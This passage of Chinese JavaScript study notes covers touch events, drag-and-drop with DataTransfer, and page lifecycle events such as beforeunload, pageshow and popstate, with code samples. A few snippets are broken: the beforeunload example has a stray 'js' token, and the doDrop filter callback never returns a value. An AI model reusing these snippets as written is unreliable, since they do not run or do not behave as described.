###### （4）Touch.clientX

###### （5）Touch.clientY

`Touch.clientX`属性和`Touch.clientY`属性，分别表示触摸点相对于**浏览器视口**左上角的横坐标和纵坐标，与页面是否滚动无关。

###### （6）pageX

###### （7）pageY

`Touch.pageX`属性和`Touch.pageY`属性，分别表示触摸点相对于**当前页面**左上角的横坐标和纵坐标，包含了页面滚动带来的位移。

###### （8）Touch.radiusX

###### （9）Touch.radiusY

`Touch.radiusX`属性和`Touch.radiusY`属性，分别返回触摸点周围受到影响的椭圆范围的 X 轴半径和 Y 轴半径，单位为像素。乘以 2 就可以得到触摸范围的宽度和高度。

###### （10）Touch.rotationAngle

`Touch.rotationAngle`属性表示触摸区域的椭圆的旋转角度，单位为度数，在`0`到`90`度之间。

上面这三个属性共同定义了用户与屏幕接触的区域，对于描述手指这一类非精确的触摸，很有帮助。**指尖接触屏幕，触摸范围会形成一个椭圆，这三个属性就用来描述这个椭圆区域。**

示例：

```js
div.addEventListener('touchstart', rotate);
div.addEventListener('touchmove', rotate);
div.addEventListener('touchend', rotate);

function rotate(e) {
  var touch = e.changedTouches.item(0);
  e.preventDefault();

  src.style.width = touch.radiusX * 2 + 'px';
  src.style.height = touch.radiusY * 2 + 'px';
  src.style.transform = 'rotate(' + touch.rotationAngle + 'deg)';
};
```

###### （11）Touch.force

`Touch.force`属性返回一个`0`到`1`之间的数值，表示触摸压力。`0`代表没有压力，`1`代表硬件所能识别的最大压力。

###### （5）Touch.target

Touch.target属性返回一个元素节点，代表触摸发生时所在的那个元素节点。即使触摸点已经离开了这个节点，该属性依然不变。

#### TouchList 接口

`TouchList`接口表示一组触摸点的集合。它的实例是一个类似数组的对象，成员是`Touch`的实例对象，表示所有触摸点。用户用三根手指触摸，产生的`TouchList`实例就会包含三个成员，每根手指的触摸点对应一个`Touch`实例对象。

它的实例主要通过触摸事件的`TouchEvent.touches`、`TouchEvent.changedTouches`、`TouchEvent.targetTouches`这几个属性获取。

它的实例属性和实例方法只有两个。

* `TouchList.length`：数值，表示成员数量（即触摸点的数量）。
* `TouchList.item()`：返回指定位置的成员，它的参数是该成员的位置编号（从零开始）。

#### TouchEvent 接口

##### 概述

TouchEvent 接口继承了 Event 接口，表示由触摸引发的事件实例，通常来自触摸屏或轨迹板。除了被继承的属性以外，它还有一些自己的属性。

浏览器原生提供`TouchEvent()`构造函数，用来生成触摸事件的实例。

```js
new TouchEvent(type, options)
```

`TouchEvent()`构造函数可以接受两个参数，第一个参数是字符串，表示事件类型；第二个参数是事件的配置对象，该参数是可选的，对象的所有属性也是可选的。除了`Event`接口的配置属性，该接口还有一些自己的配置属性。

* `touches`：`TouchList`实例，代表所有的当前处于活跃状态的触摸点，默认值是一个空数组`[]`。
* `targetTouches`：`TouchList`实例，代表所有处在触摸的目标元素节点内部、且仍然处于活动状态的触摸点，默认值是一个空数组`[]`。
* `changedTouches`：`TouchList`实例，代表本次触摸事件的相关触摸点，默认值是一个空数组`[]`。
* `ctrlKey`：布尔值，表示 Ctrl 键是否同时按下，默认值为`false`。
* `shiftKey`：布尔值，表示 Shift 键是否同时按下，默认值为`false`。
* `altKey`：布尔值，表示 Alt 键是否同时按下，默认值为`false`。
* `metaKey`：布尔值，表示 Meta 键（或 Windows 键）是否同时按下，默认值为`false`。

##### 实例属性

TouchEvent 接口的实例具有`Event`实例的所有属性和方法，此外还有一些它自己的实例属性，这些属性全部都是只读。

###### TouchEvent.altKey

`TouchEvent.altKey`：布尔值，表示触摸时是否按下了 Alt 键。

###### TouchEvent.ctrlKey

`TouchEvent.ctrlKey`：布尔值，表示触摸时是否按下了 Ctrl 键。

###### TouchEvent.shiftKey

`TouchEvent.shiftKey`：布尔值：表示触摸时是否按下了 Shift 键。

###### TouchEvent.metaKey

`TouchEvent.metaKey`：布尔值，表示触摸时是否按下了 Meta 键（或 Windows 键）。

**示例**

```js
someElement.addEventListener('touchstart', function (e) {
  console.log('altKey = ' + e.altKey);
  console.log('ctrlKey = ' + e.ctrlKey);
  console.log('metaKey = ' + e.metaKey);
  console.log('shiftKey = ' + e.shiftKey);
}, false);
```

###### TouchEvent.changedTouches

`TouchEvent.changedTouches`属性返回一个`TouchList`实例，成员是一组`Touch`实例对象，表示本次触摸事件的相关触摸点。

对于不同的时间，该属性的含义有所不同。

* `touchstart`事件：被激活的触摸点
* `touchmove`事件：发生变化的触摸点
* `touchend`事件：消失的触摸点（即不再被触碰的点）

```js
someElement.addEventListener('touchmove', function (e) {
  for (var i = 0; i < e.changedTouches.length; i++) {
    console.log(e.changedTouches[i].identifier);
  }
}, false);
```

###### TouchEvent.touches

`TouchEvent.touches`属性返回一个`TouchList`实例，成员是所有仍然**处于活动状态**（即触摸中）的触摸点。一般来说，一个手指就是一个触摸点。

```js
someElement.addEventListener('touchstart', function (e) {
  switch (e.touches.length) {
    // 一根手指触摸
    case 1: handle_one_touch(e); break;
    // 两根手指触摸
    case 2: handle_two_touches(e); break;
    // 三根手指触摸
    case 3: handle_three_touches(e); break;
    // 其他情况
    default: console.log('Not supported'); break;
  }
}, false);
```

###### TouchEvent.targetTouches

`TouchEvent.targetTouches`属性返回一个`TouchList`实例，成员是触摸事件的目标元素节点内部、所有仍然处于活动状态（即触摸中）的触摸点。

```js
function touches_in_target(ev) {
  return (ev.touches.length === ev.targetTouches.length ? true : false);
}
```

上面代码用来判断，是否所有触摸点都在目标元素内。

#### 触摸事件的种类

触摸引发的事件，有以下几种。可以通过`TouchEvent.type`属性，查看到底发生的是哪一种事件。

* `touchstart`：用户开始触摸时触发，它的`target`属性返回发生触摸的元素节点。
* `touchend`：用户不再接触触摸屏时（或者移出屏幕边缘时）触发，它的`target`属性与`touchstart`事件一致的，就是开始触摸时所在的元素节点。它的`changedTouches`属性返回一个`TouchList`实例，包含所有不再触摸的触摸点（即`Touch`实例对象）。
* `touchmove`：用户移动触摸点时触发，它的`target`属性与`touchstart`事件一致。如果触摸的半径、角度、力度发生变化，也会触发该事件。
* `touchcancel`：触摸点取消时触发，比如在触摸区域跳出一个模态窗口（modal window）、触摸点离开了文档区域（进入浏览器菜单栏）、用户的触摸点太多，超过了支持的上限（自动取消早先的触摸点）。

```js
var el = document.getElementsByTagName('canvas')[0];
el.addEventListener('touchstart', handleStart, false);
el.addEventListener('touchmove', handleMove, false);

function handleStart(evt) {
  evt.preventDefault();
  var touches = evt.changedTouches;
  for (var i = 0; i < touches.length; i++) {
    console.log(touches[i].pageX, touches[i].pageY);
  }
}

function handleMove(evt) {
  evt.preventDefault();
  var touches = evt.changedTouches;
  for (var i = 0; i < touches.length; i++) {
    var touch = touches[i];
    console.log(touch.pageX, touch.pageY);
  }
}
```

### 拖拉事件

#### 种类

拖拉（drag）指的是，用户在某个对象上按下鼠标键不放，拖动它到另一个位置，然后释放鼠标键，将该对象放在那里。

拖拉的对象有好几种，包括元素节点、图片、链接、选中的文字等等。

在网页中，除了元素节点默认不可以拖拉，其他（图片、链接、选中的文字）都可以直接拖拉。为了让元素节点可拖拉，可以将该节点的`draggable`属性设为`true`。

```html
<div draggable="true">
  此区域可拖拉
</div>
```

上面代码的`div`区块，在网页中可以直接用鼠标拖动。松开鼠标键时，拖动效果就会消失，该区块依然在原来的位置。

`draggable`属性可用于任何元素节点，但是图片（`<img>`）和链接（`<a>`）不加这个属性，就可以拖拉。对于它们，**用到这个属性的时候，往往是将其设为`false`，防止拖拉这两种元素**。

**注意**，一旦某个元素节点的`draggable`属性设为`true`，就无法再用鼠标选中该节点内部的文字或子节点了。

当元素节点或选中的文本被拖拉时，就会持续触发拖拉事件，包括以下一些事件。

* `drag`：拖拉过程中，在被拖拉的节点上持续触发（相隔几百毫秒）。
* `dragstart`：用户开始拖拉时，在被拖拉的节点上触发，该事件的`target`属性是被拖拉的节点。通常应该在这个事件的监听函数中，指定拖拉的数据。
* `dragend`：拖拉结束时（释放鼠标键或按下 ESC 键）在被拖拉的节点上触发，该事件的`target`属性是被拖拉的节点。它与`dragstart`事件，在同一个节点上触发。不管拖拉是否跨窗口，或者中途被取消，`dragend`事件总是会触发的。
* `dragenter`：拖拉进入当前节点时，在当前节点上触发一次，该事件的`target`属性是当前节点。通常应该在这个事件的监听函数中，指定是否允许在当前节点放下（drop）拖拉的数据。如果当前节点没有该事件的监听函数，或者监听函数不执行任何操作，就意味着不允许在当前节点放下数据。在视觉上显示拖拉进入当前节点，也是在这个事件的监听函数中设置。
* `dragover`：拖拉到当前节点上方时，在当前节点上持续触发（相隔几百毫秒），该事件的`target`属性是当前节点。该事件与`dragenter`事件的区别是，`dragenter`事件在进入该节点时触发，然后只要没有离开这个节点，`dragover`事件会持续触发。
* `dragleave`：拖拉操作离开当前节点范围时，在当前节点上触发，该事件的`target`属性是当前节点。如果要在视觉上显示拖拉离开操作当前节点，就在这个事件的监听函数中设置。
* `drop`：被拖拉的节点或选中的文本，释放到目标节点时，在目标节点上触发。注意，如果当前节点不允许`drop`，即使在该节点上方松开鼠标键，也不会触发该事件。如果用户按下 ESC 键，取消这个操作，也不会触发该事件。该事件的监听函数负责取出拖拉数据，并进行相关处理。

动态改变被拖动节点的背景色：

```js
div.addEventListener('dragstart', function (e) {
  this.style.backgroundColor = 'red';
}, false);

div.addEventListener('dragend', function (e) {
  this.style.backgroundColor = 'green';
}, false);
```

如何实现将一个节点从当前父节点，拖拉到另一个父节点中。

```js
/* HTML 代码如下
 <div class="dropzone">
   <div id="draggable" draggable="true">
     该节点可拖拉
   </div>
 </div>
 <div class="dropzone"></div>
 <div class="dropzone"></div>
 <div class="dropzone"></div>
*/

// 被拖拉节点
var dragged;

document.addEventListener('dragstart', function (event) {
  // 保存被拖拉节点
  dragged = event.target;
  // 被拖拉节点的背景色变透明
  event.target.style.opacity = 0.5;
}, false);

document.addEventListener('dragend', function (event) {
  // 被拖拉节点的背景色恢复正常
  event.target.style.opacity = '';
}, false);

document.addEventListener('dragover', function (event) {
  // 防止拖拉效果被重置，允许被拖拉的节点放入目标节点
  event.preventDefault();
}, false);

document.addEventListener('dragenter', function (event) {
  // 目标节点的背景色变紫色
  // 由于该事件会冒泡，所以要过滤节点
  if (event.target.className === 'dropzone') {
    event.target.style.background = 'purple';
  }
}, false);

document.addEventListener('dragleave', function( event ) {
  // 目标节点的背景色恢复原样
  if (event.target.className === 'dropzone') {
    event.target.style.background = '';
  }
}, false);

document.addEventListener('drop', function( event ) {
  // 防止事件默认行为（比如某些元素节点上可以打开链接），
  event.preventDefault();
  if (event.target.className === 'dropzone') {
    // 恢复目标节点背景色
    event.target.style.background = '';
    // 将被拖拉节点插入目标节点
    dragged.parentNode.removeChild(dragged);
    event.target.appendChild( dragged );
  }
}, false);
```

**完整实例**：

```html
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>拖拉 (Drag and Drop) 演示</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 0 auto;
            padding: 20px;
        }
        
        h1 {
            color: #333;
            text-align: center;
        }
        
        .dropzone {
            width: 200px;
            height: 200px;
            border: 2px dashed #ccc;
            margin: 10px;
            display: inline-flex;
            align-items: center;
            justify-content: center;
            transition: background-color 0.3s;
        }
        
        #draggable {
            width: 150px;
            height: 50px;
            background-color: #4CAF50;
            color: white;
            text-align: center;
            line-height: 50px;
            cursor: move;
            border-radius: 5px;
            transition: opacity 0.3s;
        }
        
        .instructions {
            background-color: #f8f9fa;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        
        .container {
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
        }
    </style>
</head>
<body>
    <h1>拖拉 (Drag and Drop) 演示</h1>
    
    <div class="instructions">
        <p>尝试拖动绿色方块到任意灰色区域中。当拖动到目标区域上方时，目标区域会变成紫色。</p>
    </div>
    
    <div class="container">
        <div class="dropzone">
            <div id="draggable" draggable="true">
                该节点可拖拉
            </div>
        </div>
        <div class="dropzone"></div>
        <div class="dropzone"></div>
        <div class="dropzone"></div>
    </div>

    <script>
        // 被拖拉节点
        var dragged;

        // 拖拉开始事件
        document.addEventListener('dragstart', function (event) {
            // 保存被拖拉节点
            dragged = event.target;
            // 被拖拉节点的背景色变透明
            event.target.style.opacity = 0.5;
            
            // 设置拖拉效果为移动
            event.dataTransfer.effectAllowed = 'move';
            // 设置拖拉数据 (虽然这里不需要实际数据)
            event.dataTransfer.setData('text/html', event.target.innerHTML);
        }, false);

        // 拖拉结束事件
        document.addEventListener('dragend', function (event) {
            // 被拖拉节点的背景色恢复正常
            event.target.style.opacity = '';
        }, false);

        // 拖拉经过目标节点事件
        document.addEventListener('dragover', function (event) {
            // 防止拖拉效果被重置，允许被拖拉的节点放入目标节点
            event.preventDefault();
            // 设置拖拉反馈效果为移动
            event.dataTransfer.dropEffect = 'move';
        }, false);

        // 拖拉进入目标节点事件
        document.addEventListener('dragenter', function (event) {
            // 目标节点的背景色变紫色
            // 由于该事件会冒泡，所以要过滤节点
            if (event.target.className === 'dropzone') {
                event.target.style.background = 'purple';
            }
        }, false);

        // 拖拉离开目标节点事件
        document.addEventListener('dragleave', function(event) {
            // 目标节点的背景色恢复原样
            if (event.target.className === 'dropzone') {
                event.target.style.background = '';
            }
        }, false);

        // 拖拉放下事件
        document.addEventListener('drop', function(event) {
            // 防止事件默认行为（比如某些元素节点上可以打开链接）
            event.preventDefault();
            if (event.target.className === 'dropzone') {
                // 恢复目标节点背景色
                event.target.style.background = '';
                // 将被拖拉节点插入目标节点
                dragged.parentNode.removeChild(dragged);
                event.target.appendChild(dragged);
                
                // 重置被拖拉节点的透明度
                dragged.style.opacity = '';
            }
        }, false);
    </script>
</body>
</html>
```

关于拖拉事件，有以下几个注意点。

* 拖拉过程只触发以上这些拖拉事件，尽管鼠标在移动，但是鼠标事件不会触发。
* 将文件从操作系统拖拉进浏览器，不会触发`dragstart`和`dragend`事件。
* `dragenter`和`dragover`事件的监听函数，用来取出拖拉的数据（即允许放下被拖拉的元素）。由于网页的大部分区域不适合作为放下拖拉元素的目标节点，所以这两个事件的默认设置为当前节点不允许接受被拖拉的元素。如果想要在目标节点上放下的数据，首先必须阻止这两个事件的默认行为。

```js
<div ondragover="return false">
<div ondragover="event.preventDefault()">
```

上面代码中，如果不取消拖拉事件或者阻止默认行为，就不能在`div`节点上放下被拖拉的节点。

#### DragEvent 接口

拖拉事件都继承了`DragEvent`接口，这个接口又继承了`MouseEvent`接口和`Event`接口。

浏览器原生提供一个`DragEvent()`构造函数，用来生成拖拉事件的实例对象。

```js
new DragEvent(type, options)
```

`DragEvent()`构造函数接受两个参数，第一个参数是字符串，表示事件的类型，该参数必须；第二个参数是事件的配置对象，用来设置事件的属性，该参数可选。配置对象除了接受`MouseEvent`接口和`Event`接口的配置属性，还可以设置`dataTransfer`属性要么是`null`，要么是一个`DataTransfer`接口的实例。

`DataTransfer`的实例对象用来读写拖拉事件中传输的数据

#### DataTransfer 接口概述

所有拖拉事件的实例都有一个`DragEvent.dataTransfer`属性，用来读写需要传递的数据。这个属性的值是一个`DataTransfer`接口的实例。

浏览器原生提供一个`DataTransfer()`构造函数，用来生成`DataTransfer`实例对象。

```js
var dataTrans = new DataTransfer();
```

`DataTransfer()`构造函数不接受参数。

拖拉的数据分成两方面：数据的种类（又称格式）和数据的值。数据的种类是一个 MIME 字符串（比如`text/plain`、`image/jpeg`），数据的值是一个字符串。一般来说，如果拖拉一段文本，则数据默认就是那段文本；如果拖拉一个链接，则数据默认就是链接的 URL。

拖拉事件开始时，开发者可以提供数据类型和数据值。拖拉过程中，开发者通过`dragenter`和`dragover`事件的监听函数，检查数据类型，以确定是否允许放下（drop）被拖拉的对象。

比如，在只允许放下链接的区域，检查拖拉的数据类型是否为`text/uri-list`。

发生`drop`事件时，监听函数取出拖拉的数据，对其进行处理。

#### DataTransfer

##### 实例属性

###### DataTransfer.dropEffect

`DataTransfer.dropEffect`属性用来设置放下（drop）被拖拉节点时的效果，**会影响到拖拉经过相关区域时鼠标的形状**。它可能取下面的值。

* copy：复制被拖拉的节点
* move：移动被拖拉的节点
* link：创建指向被拖拉的节点的链接
* none：无法放下被拖拉的节点

除了上面这些值，设置其他的值都是无效的

```js
target.addEventListener('dragover', function (e) {
  e.preventDefault();
  e.stopPropagation();
  e.dataTransfer.dropEffect = 'copy';
});
```

上面代码中，被拖拉元素一旦`drop`，接受的区域会复制该节点。

`dropEffect`属性一般在`dragenter`和`dragover`事件的监听函数中设置，对于`dragstart`、`drag`、`dragleave`这三个事件，该属性不起作用。因为该属性只对接受被拖拉的节点的区域有效，对被拖拉的节点本身是无效的。进入目标区域后，拖拉行为会初始化成设定的效果。

###### DataTransfer.effectAllowed

`DataTransfer.effectAllowed`属性设置本次拖拉中允许的效果。它可能取下面的值。

* copy：复制被拖拉的节点
* move：移动被拖拉的节点
* link：创建指向被拖拉节点的链接
* copyLink：允许`copy`或`link`
* copyMove：允许`copy`或`move`
* linkMove：允许`link`或`move`
* all：允许所有效果
* none：无法放下被拖拉的节点
* uninitialized：默认值，等同于`all`

如果某种效果是不允许的，用户就无法在目标节点中达成这种效果。

这个属性与`dropEffect`属性是同一件事的两个方面。前者设置被拖拉的节点允许的效果，后者设置接受拖拉的区域的效果，它们往往配合使用。

`dragstart`事件的监听函数，可以用来设置这个属性。其他事件的监听函数里面设置这个属性是无效的。

```js
source.addEventListener('dragstart', function (e) {
  e.dataTransfer.effectAllowed = 'move';
});

target.addEventListener('dragover', function (e) {
  e.dataTransfer.dropEffect = 'move';
});
```

只要`dropEffect`属性和`effectAllowed`属性之中，有一个为`none`，就无法在目标节点上完成`drop`操作。

###### DataTransfer.files

`DataTransfer.files`属性是一个 FileList 对象，包含一组本地文件，可以用来在拖拉操作中传送。如果本次拖拉不涉及文件，则该属性为空的 FileList 对象。

下面就是一个接收拖拉文件的例子。

```js
// HTML 代码如下
// <div id="output" style="min-height: 200px;border: 1px solid black;">
//   文件拖拉到这里
// </div>

var div = document.getElementById('output');

div.addEventListener("dragenter", function( event ) {
  div.textContent = '';
  event.stopPropagation();
  event.preventDefault();
}, false);

div.addEventListener("dragover", function( event ) {
  event.stopPropagation();
  event.preventDefault();
}, false);

div.addEventListener("drop", function( event ) {
  event.stopPropagation();
  event.preventDefault();
  var files = event.dataTransfer.files;
  for (var i = 0; i < files.length; i++) {
    div.textContent += files[i].name + ' ' + files[i].size + '字节\n';
  }
}, false);
```

上面代码中，通过`dataTransfer.files`属性读取被拖拉的文件的信息。如果想要读取文件内容，就要使用`FileReader`对象。

```js
div.addEventListener('drop', function(e) {
  e.preventDefault();
  e.stopPropagation();

  var fileList = e.dataTransfer.files;
  if (fileList.length > 0) {
    var file = fileList[0];
    var reader = new FileReader();
    reader.onloadend = function(e) {
      if (e.target.readyState === FileReader.DONE) {
        var content = reader.result;
        div.innerHTML = 'File: ' + file.name + '\n\n' + content;
      }
    }
    reader.readAsBinaryString(file);
  }
});
```

###### DataTransfer.types

`DataTransfer.types`属性是一个只读的数组，每个成员是一个字符串，里面是拖拉的数据格式（通常是 MIME 值）。比如，如果拖拉的是文字，对应的成员就是`text/plain`。

下面是一个例子，通过检查`dataTransfer`属性的类型，决定是否允许在当前节点执行`drop`操作。

```js
function contains(list, value){
  for (var i = 0; i < list.length; ++i) {
    if(list[i] === value) return true;
  }
  return false;
}

function doDragOver(event) {
  var isLink = contains(event.dataTransfer.types, 'text/uri-list');
  if (isLink) event.preventDefault();
}
```

上面代码中，只有当被拖拉的节点有一个是链接时，才允许在当前节点放下。

###### DataTransfer.items

`DataTransfer.items`属性返回一个类似数组的只读对象（DataTransferItemList 实例），每个成员就是本次拖拉的一个对象（DataTransferItem 实例）。如果本次拖拉不包含对象，则返回一个空对象。

DataTransferItemList 实例具有以下的属性和方法。

* `length`：返回成员的数量
* `add(data, type)`：增加一个指定内容和类型（比如`text/html`和`text/plain`）的字符串作为成员
* `add(file)`：`add`方法的另一种用法，增加一个文件作为成员
* `remove(index)`：移除指定位置的成员
* `clear()`：移除所有的成员

DataTransferItem 实例具有以下的属性和方法。

* `kind`：返回成员的种类（`string`还是`file`）。
* `type`：返回成员的类型（通常是 MIME 值）。
* `getAsFile()`：如果被拖拉是文件，返回该文件，否则返回`null`。
* `getAsString(callback)`：如果被拖拉的是字符串，将该字符传入指定的回调函数处理。该方法是异步的，所以需要传入回调函数。

下面是一个例子。

```js
div.addEventListener('drop', function (e) {
  e.preventDefault();
  if (e.dataTransfer.items != null) {
    for (var i = 0; i < e.dataTransfer.items.length; i++) {
      console.log(e.dataTransfer.items[i].kind + ': ' + e.dataTransfer.items[i].type);
    }
  }
});
```

##### 实例方法

###### DataTransfer.setData()

`DataTransfer.setData()`方法用来设置拖拉事件所带有的数据。该方法没有返回值。

```js
event.dataTransfer.setData('text/plain', 'Text to drag');
```

上面代码为当前的拖拉事件加入纯文本数据。

该方法接受两个参数，都是字符串。第一个参数表示数据类型（比如`text/plain`），第二个参数是具体数据。

如果指定类型的数据在`dataTransfer`属性不存在，那么这些数据将被加入，否则原有的数据将被新数据替换。

如果是拖拉文本框或者拖拉选中的文本，会默认将对应的文本数据，添加到`dataTransfer`属性，不用手动指定。

```html
<div draggable="true">
  aaa
</div>
```

上面代码中，拖拉这个`<div>`元素会自动带上文本数据`aaa`。

使用`setData`方法，可以替换到原有数据。

```html
<div
  draggable="true"
  ondragstart="event.dataTransfer.setData('text/plain', 'bbb')"
>
  aaa
</div>
```

上面代码中，拖拉数据实际上是`bbb`，而不是`aaa`。

下面是添加其他类型的数据。由于`text/plain`是最普遍支持的格式，为了保证兼容性，建议最后总是保存一份纯文本格式的数据。

```js
var dt = event.dataTransfer;

// 添加链接
dt.setData('text/uri-list', 'http://www.example.com');
dt.setData('text/plain', 'http://www.example.com');

// 添加 HTML 代码
dt.setData('text/html', 'Hello there, <strong>stranger</strong>');
dt.setData('text/plain', 'Hello there, <strong>stranger</strong>');

// 添加图像的 URL
dt.setData('text/uri-list', imageurl);
dt.setData('text/plain', imageurl);
```

可以一次提供多种格式的数据。

```js
var dt = event.dataTransfer;
dt.setData('application/x-bookmark', bookmarkString);
dt.setData('text/uri-list', 'http://www.example.com');
dt.setData('text/plain', 'http://www.example.com');
```

上面代码中，通过在同一个事件上面，存放三种类型的数据，使得拖拉事件可以在不同的对象上面，`drop`不同的值。注意，第一种格式是一个自定义格式，浏览器默认无法读取，这意味着，只有某个部署了特定代码的节点，才可能`drop`（读取到）这个数据。

###### DataTransfer.getData()

`DataTransfer.getData()`方法接受一个字符串（表示数据类型）作为参数，返回事件所带的指定类型的数据（通常是用`setData`方法添加的数据）。

如果指定类型的数据不存在，则返回空字符串。通常只有`drop`事件触发后，才能取出数据。

下面是一个`drop`事件的监听函数，用来取出指定类型的数据。

```js
function onDrop(event) {
  var data = event.dataTransfer.getData('text/plain');
  event.target.textContent = data;
  event.preventDefault();
}
```

上面代码取出拖拉事件的文本数据，将其替换成当前节点的文本内容。**注意，这时还必须取消浏览器的默认行为，因为假如用户拖拉的是一个链接，浏览器默认会在当前窗口打开这个链接**。

`getData`方法返回的是一个字符串，如果其中包含多项数据，就必须手动解析。

```js
function doDrop(event) {
  var lines = event.dataTransfer.getData('text/uri-list').split('\n');
  for (let line of lines) {
    let link = document.createElement('a');
    link.href = line;
    link.textContent = line;
    event.target.appendChild(link);
  }
  event.preventDefault();
}
```

上面代码中，`getData`方法返回的是一组链接，就必须自行解析。

类型值指定为`URL`，可以取出第一个有效链接。

```js
var link = event.dataTransfer.getData('URL');
```

下面的例子是从多种类型的数据里面取出数据。

```js
function doDrop(event) {
  var types = event.dataTransfer.types;
  var supportedTypes = ['text/uri-list', 'text/plain'];
  types = supportedTypes.filter(function (value) { types.includes(value) });
  if (types.length) {
    var data = event.dataTransfer.getData(types[0]);
  }
  event.preventDefault();
}
```

###### DataTransfer.clearData()

`DataTransfer.clearData()`方法接受一个字符串（表示数据类型）作为参数，删除事件所带的指定类型的数据。**如果没有指定类型，则删除所有数据**。如果指定类型不存在，则调用该方法不会产生任何效果。

```js
event.dataTransfer.clearData('text/uri-list');
```

上面代码清除事件所带的`text/uri-list`类型的数据。

该方法不会移除拖拉的文件，因此调用该方法后，`DataTransfer.types`属性可能依然会返回`Files`类型（前提是存在文件拖拉）。

注意，该方法只能在`dragstart`事件的监听函数之中使用，因为这是拖拉操作的数据唯一可写的时机。

###### DataTransfer.setDragImage()

拖动过程中（`dragstart`事件触发后），浏览器会显示一张图片跟随鼠标一起移动，表示被拖动的节点。这张图片是自动创造的，通常显示为被拖动节点的外观，不需要自己动手设置。

`DataTransfer.setDragImage()`方法可以自定义这张图片。它接受三个参数。第一个是`<img>`节点或者`<canvas>`节点，如果省略或为`null`，则使用被拖动的节点的外观；第二个和第三个参数为鼠标相对于该图片左上角的横坐标和纵坐标。

下面是一个例子。

```js
/* HTML 代码如下
 <div id="drag-with-image" class="dragdemo" draggable="true">
   drag me
 </div>
*/

var div = document.getElementById('drag-with-image');
div.addEventListener('dragstart', function (e) {
  var img = document.createElement('img');
  img.src = 'http://path/to/img';
  e.dataTransfer.setDragImage(img, 0, 0);
}, false);
```

### 其他事件

#### 资源事件

##### beforeunload 事件

`beforeunload`事件在窗口、文档、各种资源将要**卸载前触发**。它可以用来防止用户不小心卸载资源。

```js
window.addEventListener('beforeunload',js function (event) {
  event.returnValue = '你确定离开吗？';
});
```

上面代码中，用户如果关闭窗口，浏览器会弹出一个窗口，要求用户确认。

浏览器对这个事件的行为很不一致，有的浏览器调用`event.preventDefault()`，也会弹出对话框。

IE 浏览器需要显式返回一个非空的字符串，才会弹出对话框。而且，**大多数浏览器在对话框中不显示指定文本，只显示默认文本。**

注意，许多手机浏览器（比如 Safari）默认忽略这个事件，桌面浏览器也有办法忽略这个事件。

所以，它可能根本不会生效，不能依赖它来阻止用户关闭浏览器窗口，最好不要使用这个事件。

另外，一旦使用了`beforeunload`事件，浏览器就不会缓存当前网页，使用“回退”按钮将重新向服务器请求网页。这是因为监听这个事件的目的，一般是为了网页状态，这时缓存页面的初始状态就没意义了。

##### unload 事件

`unload`事件在窗口关闭或者`document`对象将要卸载时触发。它的触发顺序排在`beforeunload`、`pagehide`事件后面。

`unload`事件发生时，文档处于一个特殊状态。**所有资源依然存在，但是对用户来说都不可见，UI 互动全部无效**。

这个事件是无法取消的，即使在监听函数里面抛出错误，也不能停止文档的卸载。

```js
window.addEventListener('unload', function(event) {
  console.log('文档将要卸载');
});
```

手机上，浏览器或系统可能会直接丢弃网页，这时该事件根本不会发生。

而且跟`beforeunload`事件一样，一旦使用了`unload`事件，浏览器就不会缓存当前网页，理由同上。

因此，任何情况下都不应该依赖这个事件，指定网页卸载时要执行的代码，可以考虑完全不使用这个事件。

该事件可以用`pagehide`代替。

##### load 事件

`load`事件在页面或某个资源加载成功时触发。注意，页面或资源从浏览器缓存加载，并不会触发`load`事件。

```js
window.addEventListener('load', function(event) {
  console.log('所有资源都加载完成');
});
```

##### error 事件

##### abort事件

`error`事件是在页面或资源加载失败时触发。`abort`事件在用户取消加载时触发。

上述三个事件实际上属于进度事件，不仅发生在`document`对象，还发生在各种外部资源上面。

浏览网页就是一个加载各种资源的过程，图像（image）、样式表（style sheet）、脚本（script）、视频（video）、音频（audio）、Ajax请求（XMLHttpRequest）等等。这些资源和`document`对象、`window`对象、XMLHttpRequestUpload 对象，都会触发`load`事件和`error`事件。

最后，页面的`load`事件也可以用`pageshow`事件代替。

#### session 历史事件

##### pageshow 事件

##### pagehide 事件

默认情况下，浏览器会在当前会话（session）缓存页面，当用户点击“前进/后退”按钮时，浏览器就会从**缓存中加载页面。**

`pageshow`事件在页面加载时触发，包括第一次加载和从缓存加载两种情况。

如果要指定页面每次加载（不管是不是从浏览器缓存）时都运行的代码，可以放在这个事件的监听函数。

第一次加载时，它的触发顺序排在`load`事件后面。从缓存加载时，`load`事件不会触发，因为网页在缓存中的样子通常是`load`事件的监听函数运行后的样子，所以不必重复执行。

同理，如果是从缓存中加载页面，**网页内初始化的 JavaScript 脚本（比如 DOMContentLoaded 事件的监听函数）也不会执行。**

```js
window.addEventListener('pageshow', function(event) {
  console.log('pageshow: ', event);
});
```

`pageshow`事件有一个`persisted`属性，返回一个布尔值。页面第一次加载时，这个属性是`false`；当页面从缓存加载时，这个属性是`true`。

```js
 if (event.persisted) {
    // ...
  }
```

`pagehide`事件与`pageshow`事件类似，当用户通过“前进/后退”按钮，离开当前页面时触发。它与 unload 事件的区别在于，如果在 window 对象上定义`unload`事件的监听函数之后，页面不会保存在缓存中，而使用`pagehide`事件，页面会保存在缓存中。

`pagehide`事件实例也有一个`persisted`属性，将这个属性设为`true`，就表示页面要保存在缓存中；设为`false`，表示网页不保存在缓存中，这时如果设置了unload 事件的监听函数，该函数将在 pagehide 事件后立即运行。

如果页面包含`<frame>`或`<iframe>`元素，则`<frame>`页面的`pageshow`事件和`pagehide`事件，都会在主页面之前触发。

注意，这两个事件只在浏览器的`history`对象发生变化时触发，跟网页是否可见没有关系。

##### popstate 事件

`popstate`事件在浏览器的`history`对象的当前记录发生显式切换时触发。

注意，调用`history.pushState()`或`history.replaceState()`，并不会触发`popstate`事件。

该事件只在用户在`history`记录之间显式切换时触发，比如鼠标点击“后退/前进”按钮，或者在脚本中调用`history.back()`、`history.forward()`、`history.go()`时触发。

该事件对象有一个`state`属性，保存`history.pushState`方法和`history.replaceState`方法为当前记录添加的`state`对象。

```js
window.onpopstate = function (event) {
  console.log('state: ' + event.state);
};
history.pushState({page: 1}, 'title 1', '?page=1');
history.pushState({page: 2}, 'title 2', '?page=2');
history.replaceState({page: 3}, 'title 3', '?page=3');
history.back(); // state: {"page":1}
history.back(); // state: null
history.go(2);  // state: {"page":3}
```

